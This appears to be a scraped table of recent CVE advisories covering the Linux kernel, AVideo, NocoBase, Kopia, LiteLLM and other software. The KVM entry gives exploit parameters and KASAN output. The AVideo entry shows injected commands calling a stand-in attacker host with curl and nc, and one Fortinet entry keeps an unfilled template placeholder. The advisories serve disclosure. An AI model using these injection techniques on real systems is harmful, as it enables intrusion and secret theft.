| CVE |
Vendors |
Products |
Updated |
CVSS v3.1 |
| In the Linux kernel, the following vulnerability has been resolved:
KVM: SEV: Require in-GHCB scratch area if GHCB v2+ is in use
As per the GHCB spec, when using GHCB v2+ require the software scratch area
to reside in the GHCB's shared buffer. Note, things like Page State Change
(PSC) requests _rely_ on this behavior, as the guest can't provide a length
when making the request, i.e. the size of the guest payload is bounded by
the size of the shared buffer.
Failure to force usage of the GHCB, and a slew of other flaws, lets a
malicious SNP guest corrupt host kernel heap memory, and leak host heap
layout information.
setup_vmgexit_scratch() allocates a buffer via kvzalloc(exit_info_2),
where exit_info_2 is guest-controlled. With exit_info_2=24, this yields
a 24-byte allocation in kmalloc-cg-32 (32-byte slab objects). The buffer
holds an 8-byte psc_hdr followed by 8-byte psc_entry structs, so only
entries[0] and entries[1] are in-bounds.
snp_begin_psc() validates end_entry against VMGEXIT_PSC_MAX_COUNT (253)
but NOT against the actual buffer size:
idx_end = hdr->end_entry;
if (idx_end >= VMGEXIT_PSC_MAX_COUNT) { // checks 253, not buffer
snp_complete_psc(svm, ...);
return 1;
}
for (idx = idx_start; idx <= idx_end; idx++) {
entry_start = entries[idx]; // OOB when idx >= 2
The guest sets end_entry=10+, causing the host to iterate entries[2+]
which are OOB into adjacent slab objects. For each OOB entry:
- The host reads 8 bytes (OOB READ / info leak oracle)
- If the data passes PSC validation, __snp_complete_one_psc() writes
cur_page = 1 or 512 into the entry (OOB WRITE, sev.c:3806)
- If validation fails, the error response reveals whether adjacent
memory is zero vs non-zero (information disclosure to guest)
The guest controls allocation size (exit_info_2), entry range
(cur_entry/end_entry), and can fire unlimited VMGEXITs to repeatedly
hit different slab positions.
By exploiting the variety of bugs, a malicious SEV-SNP guest can:
- OOB read adjacent kmalloc-cg-32 objects (heap layout disclosure)
- OOB write cur_page bits into adjacent objects (heap corruption)
- Trigger use-after-free conditions across VMGEXITs
E.g. with KASAN enabled, a single insmod of the PoC guest module
produces 73 KASAN reports:
BUG: KASAN: slab-out-of-bounds in snp_begin_psc+0x126/0x890
Read of size 8 at addr ffff888219ffb5e0 by task qemu-system-x86/2199
BUG: KASAN: slab-out-of-bounds in snp_begin_psc+0x468/0x890
Write of size 8 at addr ffff888351566648 by task qemu-system-x86/2199
The buggy address belongs to the object at ffff888XXXXXXXXX
which belongs to the cache kmalloc-cg-32 of size 32
The buggy address is located N bytes to the right of
allocated 32-byte region [ffff888XXXXXXXXX, ffff888XXXXXXXXX)
Breakdown:
62 slab-out-of-bounds (reads + writes past allocation)
7 slab-use-after-free
4 use-after-free
All credit to Stan for the wonderful description and reproducer!
[sean: write changelog] |
| In the Linux kernel, the following vulnerability has been resolved:
drm/amd/display: Use krealloc_array() in dal_vector_reserve()
[Why & How]
dal_vector_reserve() computes the allocation size as
"capacity * vector->struct_size" using uint32_t arithmetic, which can
silently wrap to a small value on overflow. This would cause krealloc to
return a smaller buffer than expected, leading to heap overflows on
subsequent vector appends.
Replace krealloc() with krealloc_array() which performs an internal
overflow check and returns NULL on wrap, preventing the issue.
(cherry picked from commit 37668568641ccc4cc1dbca4923d0a16609dd5707) |
| Claude Code Action is a general-purpose GitHub action that runs Claude Code on GitHub pull requests and issues. Prior to 1.0.74, because the action checked out attacker-controlled pull request head branches, read .mcp.json from the working directory via default setting sources, and unconditionally enabled all project MCP servers via enableAllProjectMcpServers, an attacker who opened a pull request containing a malicious .mcp.json file could achieve arbitrary code execution on the GitHub Actions runner and exfiltrate secrets available to the workflow (such as API keys and tokens) when a privileged user or an automatic trigger invoked the Claude action on the pull request. This issue is fixed in version 1.0.74, which restores .claude/ and .mcp.json from the pull request base branch before the CLI runs. |
| NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.1.19, NocoBase @nocobase/plugin-backups restored PostgreSQL backups by interpolating the database.schema value from _metadata.json into shell command strings executed with Node.js child_process.exec(), allowing a backup-management user restoring a crafted backup to execute commands as the NocoBase server process. This vulnerability is fixed in 2.1.19. |
| Wekan is open source kanban built with Meteor. Prior to 9.07, Wekan avatar upload functionality embeds user-supplied filenames into paths later passed to child_process.exec() for MIME-type detection. Because models/avatars.js and models/fileValidation.js used a shell command with the avatar filename, shell metacharacters such as backticks and $() in the filename could execute commands on the server. This issue is fixed in version 9.07. |
| h2o is an HTTP server with support for HTTP/1.x, HTTP/2 and HTTP/3. Prior to commit 6b5370d, h2o is vulnerable to a Denial of Service attack when calling alloca under certain conditions. When serving static files, h2o builds the file path on stack, by calling alloca. The maximum size of the memory allocated using alloca can be as huge as ~600KB, which exceeds the default pthread stack size used by musl libc (128KB). If the amount of memory allocated by alloca exceeds the stack size, the h2o server crashes with a segmentation fault, while it tries to touch the guard page. This issue has been fixed by commit 6b5370d. |
| AVideo through 29.0 contains an OS command injection vulnerability in the ffmpeg.json.php endpoint where notifyCode and callback parameters are concatenated into a shell command without escaping. Attackers who can craft a valid encrypted payload can inject arbitrary shell metacharacters into these fields to execute OS commands as the web-server user. |
| The illumos SCTP inbound path performs association lookup for INIT ACK chunks without adequately validating the address parameters carried in the chunk. Since this lookup runs during packet classification (i.e. before SCTP integrity checks or IPsec policy are applied) a remote, unauthenticated attacker can send a crafted SCTP INIT ACK packet with malformed address parameters to cause an out-of-bounds access and kernel heap corruption, which may lead to remote code execution. The flaw has existed since 2010 (illumos-gate commit a5407c02), and affects any illumos distribution prior to illumos-gate commit 53a3efde. |
| An out-of-bounds write vulnerability in the Productivity Suite allows a
local attacker to trigger kernel memory corruption via a crafted IOCTL
request, potentially resulting in privilege escalation or system
instability. |
| WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f. |
| An out-of-bounds write vulnerability in the Productivity Suite allows a
local attacker to trigger kernel memory corruption via a crafted IOCTL
request, potentially resulting in privilege escalation or system
instability. |
| ncnn is a high-performance neural network inference framework optimized for the mobile platform. In commit e54f7b1f88434e1d844ea0551b880a1cfb079ce1 and earlier, ncnn allows an out-of-bounds heap write in ncnn::ParamDict::load_param() when Net::load_param() loads a malicious .param model file because the parsed parameter id is checked only against id >= NCNN_MAX_PARAM_COUNT, allowing a negative id to index before the params[NCNN_MAX_PARAM_COUNT] array. This vulnerability is fixed by commit 5a0288f255daa6c3294f77109f67718e434ec020. |
| Quicly is an IETF QUIC protocol implementation intended primarily for use within the H2O HTTP server. Prior to commit 8b178e6, Quicly is vulnerable to a Denial of Service attack through connection state corruption. In QUIC Invariants, the maximum length of a Connection ID is 255 bytes, while QUIC version 1 further restricts the maximum to 20 bytes. Quicly implements QUIC version 1 and therefore its CID buffers are limited to 20 bytes. However, to be able to respond to unknown versions of QUIC, its packet decoder accepts Connection IDs of up to 255 bytes. As its CID buffers are merely 20 bytes long, Quicly must reject QUIC version 1 packets with Connection IDs longer than that. The command line tool bundled with Quicly has had that check, however the library itself lacked such enforcement. As a consequence, when used by applications that lack their own enforcement, the connection state becoming inconsistent to buffer overrun. Fortunately, the overflow stops within the allocated chunk of memory, but nevertheless, the bug leads to assertion failures. This issue has been fixed by commit 8b178e6. |
| 9Router is an AI router & token saver. Prior to 0.5.2, 9Router allows a remote authenticated attacker to achieve arbitrary code execution on the host operating system by combining a Host header bypass of localhost-only routes with unvalidated MCP plugin args passed to child_process.spawn(), allowing malicious custom plugins to execute commands through /api/mcp//sse. This issue is fixed in version 0.5.2. |
| Kopia is a cross-platform backup tool for Windows, macOS, and Linux with fast incremental backups, client-side end-to-end encryption, compression, and data deduplication. Prior to 0.23.0, Kopia's HTTP server started with --without-password accepts unauthenticated requests to /api/v1/repo/exists and forwards attacker-supplied SFTP storage configuration to blob.NewStorage, where externalSSH: true and sshArguments containing -oProxyCommand=<cmd> can cause exec.CommandContext("ssh") to invoke the command through OpenSSH. This issue is fixed in version 0.23.0. |
| A improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via <insert attack vector here> |
| AVideo through 29.0 contains an OS command injection vulnerability in plugin/API/standAlone/functions.php where the listFFmpegProcesses() function interpolates unsanitized keyword parameters inside single quotes without escaping. Attackers who can craft a valid encrypted codeToExec payload can break out of the single-quoted grep context and execute arbitrary OS commands as the web-server user. |
| An unauthenticated remote attacker is able to perform remote code execution due to incorrectly sanitized user input in the SetParameter command. |
| LiteLLM 1.18.10 contains a remote code execution vulnerability in its MCP server creation functionality. The application allows users to add MCP servers via a JSON configuration specifying arbitrary command and args values. LiteLLM executes these values on the host without validation, enabling attackers to run arbitrary operating system commands. Successful exploitation may result in remote code execution with the privileges of the LiteLLM process. |
| CVE-2026-40953 is a heap overflow in the
certificate parsing function of Secure Access clients prior to 14.55. Attackers
with local access and administrator permissions can create a denial of service
attack against the client over which they have control. |
